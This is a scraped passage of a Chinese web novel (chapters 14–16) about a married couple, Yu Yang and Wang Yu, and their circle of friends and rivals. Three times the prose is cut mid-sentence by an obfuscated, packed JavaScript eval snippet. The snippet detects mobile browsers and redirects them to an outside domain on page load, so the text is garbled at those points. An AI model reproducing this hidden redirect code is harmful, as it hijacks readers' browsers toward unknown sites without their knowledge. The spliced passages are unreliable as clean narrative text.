d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458087|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郁央用热茶汤浇洒在犬形茶宠上,淡淡地说:“彭子舜做事浮夸张扬,实在让人不注意都难,你跟着他做事,未必比和王屿共事轻松。” 章沉像是被人扇了一巴掌一样,脸上火辣辣的。但他还是反驳道:“不是你想的那样,我找彭总是为公事。” 郁央轻笑一声:“彭子舜看不惯王屿很久了,早就想把天莱收入囊中,你要是真的为了天莱,应该绕着他走才对。” 章沉咬牙说:“你都是擅自臆断,反正我绝不会背叛王屿。” 郁央看向他,与他四目相对:“你最好是。” 这句话说得很轻柔,却像是柔软的羽毛轻轻拂过肌肤,才发现边缘是锋利的锯齿,令人不寒而栗。 章沉别过视线,话锋一转:“有个问题,我一直有个猜想,没想到今天有当面问的机会。” “什么?” “这六年来,天莱虽有小磕小绊,但总体上来说是顺风顺水,与同等条件的创业公司相比,实在是顺利太多。而我和王屿在国内毫无根基背景,是真正的白手起家,这样的发展与其说是幸运,不如说是奇迹。” 郁央微笑:“优秀过人的能力,总是能创造奇迹。” 章沉笑了笑,似是嘲弄:“是吗?有一次应酬,因为喝酒比较多,所以王屿早早就走了,留下我陪投资人喝。那个客户喝醉了,突然冒了一句,说我们好福气,能得到郁家大小姐的照拂。” 闻言,郁央叹了口气:“我就知道,再牢的嘴也有破开的一天。” 顿了顿,她又道:“既然你早知道了,那为什么没告诉王屿?” 章沉笑容中的嘲讽意味更浓了:“怎么可能告诉?他恨透了你!要是得知背后六年一直有你保驾护航,他的自尊心能受得了?说不定原地撂担子拆伙走人,那我岂不是惨了?” 说出这句话,他终于如愿地在女人脸上看到了一丝动摇,刚才被戳破心事的窘迫减轻一半。 但动摇转瞬即逝,待章沉拉开门准备踏出去的时候,身后又传来了女人的声音:“怪不得你找上了彭子舜,那家伙要能力没能力、要脾气没脾气,但家族势力还是强的,能把我防住……彭子舜承诺给你多少?我给你双倍。” 双倍?你能给我两个天莱吗?你会舍得让王屿坠入深渊吗? 章沉心里觉得可笑,但嘴上还是坚持地说:“我说了!我没有背叛王屿!” “希望如此,不然的话,你不会好过的。” 章沉冷笑:“既然这么深情,当初又何必把王屿的真心扔到地上踩?” 说罢,他走出了包厢,再也没有回头。 …… 碾过半城月光,章沉兜了一圈竟又开回了宝向对面的那段路。 等红绿灯的时候,他往远处望去,只见宝向的高层仍亮着几扇灯光,他知道其中一定有王屿的那间办公室。 从前就是如此,王屿的办公室总会是天莱每天最晚熄灭的那间,他总戏称王屿的办公室堪比公司的保卫处。 那一包本就不充裕的香烟早已抽完,当最后一根烟也熄灭时,章沉做了一个决定。 他用平素只发官方宣传的社交媒体账号,发了一张旧时照片。 14.chapter 14 “你要装睡到什么时候?” 男人顶着灯光,身姿挺拔如孤松。他垂下双眸,俯视着坐在床边靠着墙安睡的郁央。 在一片乌黑浓密中,那细弯的发旋如一小朵即将消融的雪花,是泛着冷光的白。 女人的睫毛抖了下,旋即眼皮完全抬起,露出那双善睐明眸,像是初醒的狐狸,眼角往上翘,眸光流转透出狡黠。 郁央笑容懒散:“你怎么知道我在装睡?” 王屿冷哼一声:“你演技太差。” 郁央不甘示弱般说:“上次你装睡,我也看出来了。” 王屿却拒不承认:“我没有你那么幼稚。” 郁央笑道:“噢,那你醒得可真是时候。” “刚才我和章沉的对话,你都听到了。”王屿的语气陈述,而非疑问。 郁央伸了一个懒腰:“之后可能得和后勤说一下,改善休息室和办公室之间的隔音了。” “你不想解释什么吗?” “我解释过了呀。”郁央气定神闲地说,“我确实找过章沉,但不是像网上说的那样。” 王屿墨眸深邃,凝视着她:“你知道,我不是问这个。” 不知道是不是王屿进来了的缘故,郁央觉得室内那股若有若无的木质奶香清晰了几分,朦朦胧胧地萦绕在鼻尖,像是淡淡迷雾。 她脑袋一歪,眨了眨眼:“不如我们等价交换,用你的解释换我的解释。” “我的解释?”王屿不明所以。 女人抬手,青葱玉指一指:“那个书签,是我开会无聊时折的,怎么会在你这里?” “……” 王屿愣了下,面无表情地说:“我不知道你在说什么。” 郁央耸肩:“那我也不知道你在说什么。” 相当于双双默认了。 王屿直接生硬地中断话题:“你先回家吧,我还有工作要处理。” 但郁央却并不打算就此为止,而是伸手扯住了他的袖子,问道:“你回国内发展,是有我的原因,对吗?” 王屿深吸了一口气:“郁央,世上不是所有人都只围绕着你一个人转。” “我不管其他人。”郁央目光锁定着他,追问,“我只想知道,你是想见我的,对吗?” 王屿回头,目光灼灼,沉声反问道:“那你呢?帮助天莱,帮助我,是出于什么?愧疚?同情?” 四目相对,两个人眼底都汹涌着复杂的情感,夹杂着时光的沉淀,风暴愈发猛烈混浊,深渊愈发幽暗深稠。 半晌,郁央轻声笑了下:“不可能是因为爱吗?” 王屿的眼神像结了冰。 “郁央,这是我听过最大的笑话。” …… 章沉发的图文很快在圈内传开了,都说谣言止于智者,但在网络环境下,用新的八卦去“反转”谣言,魔法打败魔法,似乎成了更奏效的方法。 他发的是一张合照,还附上了标有拍摄时间的信息截图——拍摄于九年前的初秋。 照片里,王屿敞开身上的藏蓝色长风衣,裹住了怀里的郁央。他低头注视着她,黑眸隐在额前头发的阴影下,刀砍斧削般英俊的侧脸透出丝丝柔情。而郁央背靠着他的胸膛,昂起头,笑吟吟地与之对视。 两人就这么伫立在街头,街边红叶渐红,道路微湿,地上的水洼映出一隅蓝天白云,岁月静好。 章沉的文案耐人寻味:“那时一切都很美好。现在我在远处,继续见证你们的美好。” 众人皆惊:这两人居然这么早就在一起了?! 本以为是富家千金一时兴起强取豪夺高岭之花的戏码,却不想真相是恋爱长跑有情人终成眷属的剧情。 对于两人婚变的传闻,大多以两人缺乏感情基础为前提,现在这一前提被推翻了,传闻就站不住脚了,对那段视频剪辑痕迹的质疑多起来。 明明昨日还被期待离婚,今日就被奉为了又令人相信爱情的好磕夫妻。 “恭喜你啊,安安。” 一家私房菜餐馆雅间内,纪和对着郁央举杯。 他天生一对含笑凤眸,面容俊美,之前略长的头发已经精心修剪过,显得整个人更加精神。他身穿一件白色的中式上衣,露出的胳膊肌肉线条流畅,皮肤有海边阳光涂抹的小麦颜色。 郁央微笑:“纪和哥哥恭喜我什么?” “恭喜你新婚,以及‘洗脱冤屈’。”纪和唇角弯了弯,“大家都被你们吓了一跳。” “有么?”郁央心想:也不过就是收到的消息和电话多了些。 “当然。连青岚都打电话给我,说没想到王屿就是大学和你谈恋爱的那个人。” 对于这段恋情,知情的人不多,纪和算一个。 当时郁央和王屿正在热恋,放假美东行的途中,正好遇到来出差的纪和,三个人一起吃了顿饭。当时纪和对王屿的评价不错,王屿对纪和的态度也还行,只是追问了许久她的小名,在那之前她未告诉过王屿这个名字。 郁央看向身旁空着的那个位置,今日本来是三人饭局。她问:“你回来后和青岚姐有见面吗?” “见了一次,她现在当经纪人,忙得飞起,那之后就约不上了,今天也是临时说有通告,得陪着去,放了我们鸽子。”顿了顿,纪和的语气透出几分戏谑,“我听她说了,这些年你帮她和她弟不少,外面都传你在外包了个小鲜肉,那个小鲜肉就是她弟。” 郁央不以为意:“随他们传吧,无所谓。” 纪和挑眉:“不怕王屿听了误会?” “他很务实,不会理会这些的。” “哦?听起有些不妙啊。”纪和若有所思。 过了会儿,郁央问:“你在珑城的店什么时候开业?” 男人名下的酒吧遍布全世界,但国内还是头一家。 纪和为她夹了一筷子菜:“下个月十三号。” 郁央怔了怔。 “是故意选的日子。那天正好晚上聚在一起喝一杯,不是吗?”纪和的语速总是优哉游哉的,“要是郁闻知道你和喜欢的人结婚了,肯定会很高兴吧。毕竟,他做不到的事,你做到了。” 虽然这笑容很温柔,但郁央的眼神却黯了下。 她沉默了片刻,问:“青岚姐知道开业时间吗?” “跟她说了,她只说了会尽量到场。” “之前每年我哥的忌日,无论多忙,她都会留半天假,把自己关在家里。”郁央轻声说,“如果她能过来喝杯酒,跟我们说说话,也挺好的。” 纪和说:“你和青岚是郁闻最在乎的人,他一定希望你们能快乐。” 郁央看着他:“你是哥哥最好的朋友,他一定也希望你能快乐。” 纪和失笑:“世上能有比我更快乐逍遥的人吗?说起来,这次去度假,我有个新想法,打算选个居民岛,开个潜店、餐厅一体化的民宿。” 话题不着痕迹地被转移,气氛松快起来。郁央打趣:“我看你还是别当酒吧老板了,去当快乐的船长吧。” “哈哈哈哈,这个提议不错。” 明明方才室外还是烈日当空,转瞬天又阴了下来,下起了淅淅沥沥的小雨。 雨水啪嗒啪嗒敲打在窗户上,隔着玻璃窗和空调冷气声,遥远得像是从记忆深处传来的。 纪和停筷:“这次视频的事,肯定有人在背后捣鬼,有眉目了吗?” 郁央答道:“嗯,结合之前公司遇到的一些问题,已经有怀疑对象了。” 如果不出意外的话,和制造泄密事件的始作俑者是同一人。 纪和问:“谁啊?” “还在怀疑阶段,就不说了。” “安安的口风可真紧了。”纪和笑了笑,看起来也不介意,“我出去打个电话。” “好。” 过了大概五分钟,雅间的手推门被再次拉开,随之而来的是一阵明显清晰得多的雨声,以及带着淡淡泥土腥味的风。 “这么快?”郁央回头,却是一愣。 只见进来的不是纪和,而是有数日未见的周锦陆。 与上次在慈善晚宴上见到时不同,今天他穿的比较休闲,一件浅蓝色衬衣配咖色西裤,头发没有着胶,柔软又蓬松。 但他的神情却是阴郁的,像极了此时的天气,连带着笑容都带着雨水的潮湿。 “安安。” 郁央难掩惊讶:“锦陆?你怎么在这儿?” 周锦陆上前:“我有话想跟你说。” 反应过来,郁央脸上的诧色隐去,她一言不发地起身,作势要离开。 但却被周锦陆拦下了。 周锦陆握住她的手腕,手心的滚烫和手中冰凉的肌肤形成鲜明对比。他用着近乎质问的语气:“为什么要走?” “……我们出去说。” “是因为赵珞琪不在吗?”周锦陆语气激动起来,眉头紧皱,“你和纪和哥能单独吃饭,为什么和我就不能单独待一块儿了?我是洪水猛兽吗?” 郁央说:“不是,我只是觉得房间里有点闷。” 看来是纪和把她给卖了,下次她要好好跟他算账。 周锦陆一个箭步故意去把窗打开,顿时让外面的风雨有机可趁,灌进了屋内。 郁央的头发被风撩起。 周锦陆伸手为她将吹乱的发丝别到而后,又侧身为她挡住了半个风口:“现在不闷了。” 郁央叹了口气:“你怎么了?看起来心情不好。” 周锦陆并未正面回答,径自问道:“当初我们三个约好了一起去英国读书,你却悄悄选了芝大的offer,是为了什么?” “当时不是已经解释过了么?衡量了一下,我觉得那里更适合我。” 周锦陆却对这个答案并不满意,追问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14472511|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“那为什么瞒着我们?……不,准确来说,是瞒着我,珞琪或许是知道的。” 郁央语气淡淡:“只是没来得及说。” 她垂着眼眸,目光落在临窗的地板上很快出现的点滴雨渍上。 周锦陆明显不相信这个敷衍的说辞,紧接着又继续问:“你在美国的时候,我好多次提出要飞来看你,你都拒绝了我,是因为王屿吗?” 郁央心想:看来是为了章沉发的那张照片来的。 在这之前,周锦陆和赵珞琪都不知道她和王屿大学时就认识,而她出于一些考虑,当时没告诉他们。 对此,她的回答只有三个字:“不全是。” 周锦陆笑了。 他的表情是笑着的,但眼底却在下雨。他问:“你在顾虑什么呢?担心我针对王屿,还是担心我越界?” 郁央缓缓说:“锦陆,我不想掺和进你和珞琪之间。” 周锦陆深深地看了她一眼:“原来你一直知道我对你的心意。” 郁央不语。 周锦陆怆然道:“我不喜欢赵珞琪,从小到大我只喜欢你一个人。可为什么就连你,也要硬生生把我和赵珞琪凑一块儿?就因为她喜欢我,你就偏帮她?那你怎么不帮帮我呢?” 郁央抬眸看向他,正色道:“锦陆,我只把你当我的好朋友,没有其他感情,这一点我明示过很多次。况且周赵两家联姻是必然,我也想避免不必要的误会。” 周锦陆凝视了她许久,眼角渐渐泛红。他扯了扯嘴角,小声说:“可我喜欢你啊,我连追求你的权利都没有吗?” 一瞬间,郁央透过这个高大的男人,看到了小时候的周锦陆。 软弱,爱哭,少爷脾气,总爱跟在她屁股后面,她指哪儿到哪儿。 她耐心且郑重地说:“锦陆,我已经结婚了。如果你还是不能接受和珞琪的婚约,我支持你去争取解除婚约,但其余的……抱歉。” “我一直以为你和王屿结婚,是一时兴起。”周锦陆自嘲地说,“听到你们感情不和或要离婚的消息,还在暗自期待。我一直以为自己还是有机会的,毕竟我们门当户对,又从小一起长大,总是比别人要亲近些的。” 郁央知道自己此刻不能再给一丝念想,不得不残忍地说:“锦陆,正因为我们认识的时间那么长,才说明了我是真的不可能喜欢上你。” 那么久的时间都没有喜欢,那确实是与爱情无缘了。 这句话无异于一直高悬头顶的达摩克利斯剑直坠而下,将一切妄想砸了个稀烂。 周锦陆一时间脸色惨白,说不出话。 看到这一幕,郁央很想像小时候一样,把他护在身后安慰他,但她忍住了。 她只是安静地等着。 半晌,周锦陆终于哑着声音开口了:“安安,我要和珞琪结婚了,就在八月。” 八月,那就是下下个月了。 郁央心里已猜到七八分,所以也不太意外。她说:“如果你不想的话……还来得及。” “你以为我没反抗过吗?”周锦陆有些自暴自弃地说,“算了,如果不能和你在一起的话,和谁结婚都无所谓吧。” 郁央严肃地说:“你这样,对珞琪是不负责任的。” “她求仁得仁。”周锦陆顿了顿,“我的这些想法,她再清楚不过,她说她不介意。” 郁央又叹了口气。 是的,赵珞琪执意要和周锦陆结婚,不单单是喜欢他这么简单,还有对家族利益的考量——赵家是更需要这次联姻的那一方。 周家和郁家、彭家被奉为珑城三大家,坐拥着不可动摇的实业根基,在此基础上才绵延出数多分支产业,其雄厚实力不是赵家、易家之流所能望其项背的。 最后,周锦陆请求她道:“你可不可以不要做珞琪的伴娘?” 郁央无奈地说:“锦陆,我结婚了,照理说本来就不能做伴娘的。” 周锦陆愣了下,随即大笑几声,道:“那就好。” 接着,他用着极为真挚的目光注视着郁央,郑重其事地说:“安安,今天过后,我们只是单纯的发小关系了。你可以放心。” 那个总是任性娇气的小少爷终究是长大了。 雨越下越大,等到两人走出饭店时,外面的路上都开始积水。 郁央是从家里出发,坐纪和的车直接来的,没有开车,这一点应该也是纪和故意的——虽然不知道为什么他会帮周锦陆这个忙。 周锦陆问服务员要了一把伞,然后朝郁央伸出手:“我送你吧。” 郁央抬眼发现门口停着那辆眼熟的黑色路虎。 也就在这时候,车门打开,一双锃亮的皮鞋踩到了地上,溅起来的水渍在灰色的裤脚上留下星星点点的痕迹。 王屿款款走来,一把深色的长柄伞撑开,伞面宽大厚实。 “你出门忘带伞了。” 15.chapter 15 雨刮器有节奏地摆动着,刮下的雨水像是记忆的波浪,一层叠上一层。 周锦陆的身影在后视镜越来越小,逐渐缩成一个雨点,然后彻底消失不见。 严格说来,三人里确实郁央和周锦陆最先认识,两家依着翠山比邻而建,多年世交,自然亲近。 小时候周锦陆身体底子较弱,虽是同龄,但比郁央要矮上一些,瘦瘦弱弱的,皮肤又苍白,像是纸糊的娃娃,总被长辈打趣“一阵风就能刮走”。 或许是受外形的影响,年幼时的周小少爷性格也比较娇气。而郁央恰恰与之相反,打小性格外向,人小鬼大,时常比年长五岁的郁闻都还要有主意。 也不知道是不是出于性格差异的原因,等大人们意识到的时候,周锦陆已经成了郁央的跟屁虫,两个小孩经常互相串门。 赵珞琪是晚一点加入他们的,由于赵家和郁央母亲的娘家颇有渊源,赵珞琪小时候时常被母亲带来郁家,再加上三人上的是同一所幼儿园,很快熟络起来。 小时候玩过家家,一般是两种情况:一种是郁央被分到妈妈的角色,至于爸爸由谁扮演,剩下两人总打的不可开交,为了公平起见,最后往往会变成小郁央独自带两孩的设定。 另一种情况郁闻被迫无奈加入进来,扮演爸爸的角色,这时赵珞琪会抢着当妈妈,周锦陆总是儿子的角色,而郁央比较喜欢扮演周锦陆的老师。 高中的时候,郁央隐隐觉察出了周锦陆对她的友情变质,也知道赵珞琪的心思。她不想蹚浑水,所以没有按照约定一起去同个地方留学,孤身一人去了大洋彼岸。 最开始周锦陆还闹过退学,说什么都要过来找她,直到她说了些狠话,然后周家长辈也出面训斥了,周锦陆才消停下来。 周赵两人一起留学四年,多多少少培养了感情,外人一看便知两人的亲密,只是当局者迷,郁央心知周锦陆对她不过是过度依赖而产生的执念。 “在想周锦陆?” 王屿的声音将郁央拉回到车里,她抬眸在车内后视镜看到男人深邃的眼眸。 车窗隔绝了外面的风雨,郁央看向窗上细密的雨丝,说:“只是回想到一些小时候的事。” 王屿缓缓说:“你们的童年,应该都是锦衣玉食、无忧无虑的。” 这话要是换了别人多,总觉得有点阴阳怪气,但王屿的语气却不带任何情绪,只是平静地陈述一个简单事实。 郁央不置可否,而是歪着头饶有兴味地看向他,问:“你不问为什么我说是赴纪和哥哥的约,结果却是和锦陆一起走出来吗?” 王屿目视前方:“根据他的表情,能猜出一点。” “这么厉害。”其实郁央也知道,周锦陆脸上的失落与颓丧显而易见。 这样脆弱的神情,她从没有在身旁这个男人脸上见过。 郁央话锋一转:“王屿,我好像从没听你提起过你的童年。” “平平无奇,没什么好说的。”王屿的语气很平淡,但在郁央没注意的时候,眼中似乎晦暗了一瞬,像是想起了什么不好的回忆。 郁央继续问:“那你小时候有青梅竹马或者特别好的朋友吗?比如我和锦陆、珞琪这样的。” “没有。”王屿回答得很果断。 这有点出乎郁央意料了,她猜测:“从小就很孤僻?” “嗯,很孤僻。” “怎么感觉你在敷衍我?”郁央直觉男人此时不太真诚,“上次听你爸妈说,小时候你身体不好,就把你放回了国内爷爷奶奶家休养,是九岁才被接去了西雅图?” “嗯。”听王屿的语气,像是不愿再聊这个话题。 王屿的父母都是定居在美国工作的华侨,父亲是一名大学副教授,从事考古研究,经常出差跑一线,而母亲是一名医护人员,也比较忙。 由于婚礼办得仓促,没能提前考虑两位长辈,以致于王屿父母都没能抵达婚礼现场,只有王屿的亲妹妹王藜飞来了,她比王屿小十岁,当时还在高三。 结合这一背景,郁央转念一想:也是,小时候身体不好不出门的话,确实可能没什么机会和同龄人玩耍,而九岁后出国要适应语言环境,也不太容易那么快融入。 她觉得有种似曾相识的熟悉感,于是说:“感觉你和锦陆挺像的。” 王屿握方向盘的手紧了紧,沉声问:“哪里像?” 郁央说:“他小时候身体也不好,除了来我家玩,也基本不怎么出门,他妈妈很紧张他,总担心他出意外。” 王屿没什么表情:“是么。” 这里位于珑城的一个老城区,距离明珠湾有一个小时左右的车程,四处建筑都较为老旧,老龄化严重,经济潜力在整个珑城排倒数,不过也正因此地租相对便宜,再加上本地人多,生活气息重,很多有特色的私房菜馆和本地菜餐馆都开在这里。 阵雨正到倾盆时,车在路过一施工地段时堵了车,郁央百无聊赖地往外看去,发现这一片区的建筑正在拆毁。 “咦?” “怎么?” 郁央随口一问:“这里开始动工了?我记得我去南城前,这边好像围了很久……以前修的是什么?” 王屿淡淡地说:“原本那里是一家公立的儿童福利院,后来废弃了。” 等到两人终于快到家的时候,雨早已经停了,天空的阴霾被湛蓝的颜色覆盖。 王屿的电话响了,他的手机就放在两人中间的位置。 郁央看了一眼,是一通跨洋电话,来电显示是“王藜”,就是王屿家作为代表来参加婚礼的那位。 郁央提醒道:“是你妹。” “帮我接一下,谢谢。” 王屿的手机连了车内音响,接通后,一个朝气蓬勃的女声在电流声后响起:“喂,喂?王屿?” 和郁家不同,王屿王藜之间很少互称兄妹,至少在郁央的印象里,她从来都是听两人互唤大名。 念书的时候,郁央就知道王屿有个妹妹,但王屿极少在她面前和家里人联系,反而是她出国后天天都会和郁闻视频电话,直到谈恋爱后忙于约会,才和郁闻联系的没那么频繁了。 王屿问:“什么事?” “我下周放暑假啦,订了飞珑城的票,你方便来接我吗?” “你又要来珑城?”王屿有些惊讶。 “我就知道你都忙忘了!”王藜也不生气,明朗得就像此时放晴的天,“上个月跟你提过的呀,我在追国内的一个爱豆,想来参加他的出道纪念活动!爸妈已经答应我啦,所以我就买票了。” 王屿:“……” 郁央也感到意外,不由轻笑一声:“妹妹居然还追星,还是国内的?” “诶,央姐也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14488916|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能听到吗?”王藜虽不管王屿叫哥,但对郁央却是叫姐,“是呀,我追的这个爱豆,今年参加了一场选秀,表现很好可排名挺令人惋惜的,他的海外账号粉丝很多,听说在国内还是不温不火,所以想来支持他一下。” 郁央笑了:“你说的,不会是南嵩吧?” 王藜的语气兴奋起来:“是的!央姐你居然也认识南嵩?” 王屿投来一个眼神。 大概意思是:你怎么认识? 郁央读懂了他的眼神,这边在和王藜说话时顺道笑着说:“他经纪人是我熟悉的一位姐姐,我们交情不错的,那个活动她也邀请了我参加,等你来了我们一块儿去吧。” 王藜惊叹:“Awesome!央姐我爱你!我会给你准备小礼物的!” 郁央柔声道:“客气什么,上次太匆忙,都没来得及带你好好逛逛珑城,这次你的接待我全包了。” “那就谢谢央姐啦。” 通话结束,郁央打趣地看向王屿:“你们家是穷儿富女?我看你妹妹丝毫没有你当年的经济压力呀?” 想当年王屿可是全校知名的打工皇帝,经常有人猜测他是不是家境贫寒,但看他的穿着打扮又不像贫困的,生活还是相当有品质。 王屿说:“我比较喜欢自己赚钱,不想亏欠别人。” 这话听起来有点微妙。郁央叹道:“那你肯定看不惯我们这些富二代吧。” “别人怎么做我无所谓,我的想法只适用于我自己。” 这个回答倒是很有王屿的风格。 黑色路虎驶入明珠湾,在从地下停车场乘上电梯的时候,王屿开口:“你和那个明星很熟?” 他微微昂首,盯着数字变化的显示屏,看起来像是随口一提。 郁央反应了一下,笑道:“你说南嵩?是呀,他本名叫郑南嵩,他的经纪人叫郑青岚,两人是亲姐弟。我和他姐姐很熟。” “哦。” 电梯上行,沉默逐渐冷却。 就在显示屏上的数字跳到“20”的时候,郁央突然说道:“郑青岚,是我哥的女朋友。” 电梯门打开,王屿怔愣地看向女人。 “但其实说‘前女友’会更贴切。”郁央率先走出了电梯,只留给身后人背影,看不到脸上的情绪,“祖父棒打鸳鸯,导致他俩分手了。” “……为什么?” 郁央微微一笑:“门不当户不对,青岚姐出身普通家庭,家庭条件甚至可以说艰苦。” “……” 听起来似乎是现实版灰姑娘的故事。 但结局同样很现实。 郁央语气轻快,自顾自地继续说道:“所以到我的时候,我才决定先斩后奏。可能也是经过我哥的事了,没想到祖父这么轻易就妥协了。” 指的是她直接和王屿领证然后发布会公布结婚的事。 王屿心想:怪不得。 原来是有了前车之鉴。 接着,就听郁央喃喃地说了一句:“如果哥哥知道我这样在他的痛苦下乘凉,应该会恨我吧。” “什么?”王屿其实听清了这句话,只是意外女人竟然会有这样的想法。 郁央回头,对他嫣然一笑:“没什么。” 这一刻,王屿觉得郁央很遥远。 但他们又真的曾靠近过彼此吗? 16.chapter 16 这一晚,两人终于“温故知新”。 故,在于他们身体之间的契合程度竟并未因时间而疏离,反而在深入拥抱的那一刻,所有分离的时光顿时都如同碎成齑粉,飞散在旖旎缠绵的氛围中。 新,是当两人耳鬓厮磨的时候,皆敏锐且清晰地在熟悉的触觉中察觉到了一丝陌生——与七年前相比,他们都更加成熟且有耐心了。 也离彼此更加遥远了。 明明紧紧相拥、亲密无间,却始终能感觉到一层无形的隔阂,里面填满了两人各自不愿宣之于口的心事与秘密。 即使放纵,也是克制。 一夜云雨后,两人冲完澡回到床上,空气中弥漫着沐浴后身体乳的淡淡柑橘香。 借着室内暖黄色的壁灯灯光,郁央躺着,抬手有一下没一下地抚摸着男人的背肌,动作轻柔。 在她纤长手指的装点下,那道年头已久的烫伤痕迹,竟也显得没那么可怖了。 郁央盯着那处伤疤,只觉得形似一个火山岛,藏着她所不知道的炽热过往。她缓缓开口,带着贪欢后的慵懒:“你还从没告诉过我,你这伤疤怎么来的?” 王屿正坐在床边,将刚才使用的“工具”收拾规整,一边答道:“小时候烫的。” 郁央的手指绕着疤痕的边缘画了一圈:“这个位置在你后背,总不会是你自己烫的吧?” 王屿背对着她,语气始终是淡淡的:“小朋友玩闹,没有分寸,有点小伤也很正常。” “可你明明白天才说过,你小时候很孤僻,没有朋友。” 王屿的脊背僵了下,顿时也意识到自己说错话了。 郁央撑着坐了起来,正色道:“王屿,你很少说谎的。” 王屿说:“我只是觉得这个不重要,没必要说得那么细。” 郁央直接问:“你这个,是长辈烫的吗?” 这个位置的烫伤,从上往下造成的可能性更高 沉默了半晌,王屿才承认了:“嗯。” “是在被接回西雅图之前?” 王屿点了下头,沉声说:“那个人……不大喜欢我。” “为什么呀?”虽然没见过王屿小时候,但郁央大概想象了下对方儿时的样子,觉得他剑眉朗目的,缩小版一定也很可爱,怎么会有人不喜欢呢? 连她祖父都对王屿青睐有加,还会有比她祖父还难搞的长辈? 就听王屿长长地舒了口气:“她觉得我不应该存在吧。” 郁央难以置信:“她怎么会这么想?那她烫伤你是故意的?” “应该还有其他原因,只是当时太小,我也理解不了。” 郁央气愤起来:“再怎么样,也不能伤人,更何况你当时还是小孩。” 闻言,王屿回过头看向她,灯光为他深邃的脸部轮廓镀上柔光。 如果说他的肩膀如山峦,那么那双眼睛便群山原野中最幽深的沼泽。 他说:“郁央,世上有很多恶意,是你不知道也理解不了的。很多事情,也不是非黑即白,那么能说清楚的。” 郁央凝望着他。片刻,直起身体,捧住他的脸,然后轻轻地吻了泥沼间的高山。 “我会知道的。” …… 几天后,赵珞琪的画廊预展,邀请郁央参观。 郁央从公司出发,穿了一件白色丝绸衬衣配蓝底细白条纹长裤,一身精干。 她为赵珞琪订的铃兰花篮早已提前让人送去,同时手上还不忘捧一束鲜花。 赵珞琪的画廊“呓语”是从家里继承的,从小赵珞琪就有艺术方面的偏向,高中的时候就经常在画廊里跟着学习策展了,早早扬言以后要接手画廊,做大做强。 赵家不是专门做这一行业,画廊和拍卖行只是一条分支产业,因此之前并不太重视,直到赵珞琪接手后,“呓语”才真的发展起来,现在已经在全国各一线城市都开了分画廊,这两年赵珞琪还获评了国内最佳青年策展人及私人美术馆经营者。 郁央刚到“呓语”,远远就看到了正在和员工交代事情的赵珞琪,只见她一身卡其色无袖连衣裙,卷发被挽起来,垂下来的发丝像是优雅的藤蔓,绽出无形的花儿。 她依然是那么明艳,妆容精致,红唇靓丽,但在工作的时候,神情态度明显严肃许多,不像平素时那么嘻嘻哈哈。 郁央含笑观察着好友,悄无声息的走近。 画廊的员工率先注意到郁央的靠近,视线不受控制地扫过来。 紧接着赵珞琪才看了过来,明显愣了下,吓了一跳,然后娇嗔:“安安!” 郁央把鲜花递给她,微笑道:“预祝你展览顺利。” 赵珞琪明知故问:“不是都送了一盆铃兰过来了吗?” 郁央道:“你喜欢花,怎么送都不嫌多。” 赵珞琪的笑容比怀中的鲜花还灿烂:“还是你最懂我!” 一旁的员工很有眼力见地上前,想要帮赵珞琪把花束抱走,但赵珞琪却并没有放手的意思,而是对下属摆了摆手,示意对方离开。 员工识趣地走开了。 郁央见此,问:“不重吗?” “这都是安安的心意,我愿意抱着。”赵珞琪顿时没有了刚才工作时的样子,笑嘻嘻地说,“走吧,进去看看。” 这次的展览主要作品都来自法国的一位油画艺术家——上个月中赵珞琪去国外出差,就是为了亲自和那位艺术家面对面地商讨最后的布展细节,以表诚意,然后回程的时候正好听说郁央要从南城回来了,选择了同一天抵达时间相近的航班。 郁央对绘画兴趣平平,有一些入门知识,全是因为郁闻喜欢赏画,她跟着耳濡目染。 当两人走到一件巨幅布面油画前时,赵珞琪突然开口宣布道:“安安,我和锦陆要结婚了。” 郁央脚步一滞:“我知道,锦陆告诉我了,说定在了八月。” “准确地说,是八月十二日,是个良辰吉日。”赵珞琪看起来并不介意,“我就知道他肯定第一时间来找你了。” 郁央说:“他让我不要做你的伴娘,我说我本来就做不了。” 赵珞琪笑了下,骂道:“那个笨蛋。” 郁央忍不住问:“珞琪,你真的想好了吗?” 赵珞琪却是反问:“安安,在你的视角来看,是先有的婚约,还是先有的我喜欢周锦陆?” 短暂思索了一下后,郁央答:“先有的喜欢?” 在她的视角,时间线的顺序先是高中时发现赵珞琪喜欢周锦陆,然后才是两个人大学毕业后周赵两家定下婚约,看起来像是顺水推舟。 却没想到赵珞琪却摇头:“不是的。早在高一的时候,我爸妈就和我说了联姻的事情,其实当时就和周家订下了口头婚约,只是锦陆不知道而已,而且没对外宣布,想着我们年龄还小,可能还会有变数。” 这个超出了郁央的意料。 赵珞琪语气轻快,径自说道:“我呢,是一个很能随遇而安的人,我很早就知道我以后肯定要走这条路的,珑城那么多公子哥,肮脏龌龊的不胜其数,那不如从中选一个知根知底、难得干净的,所 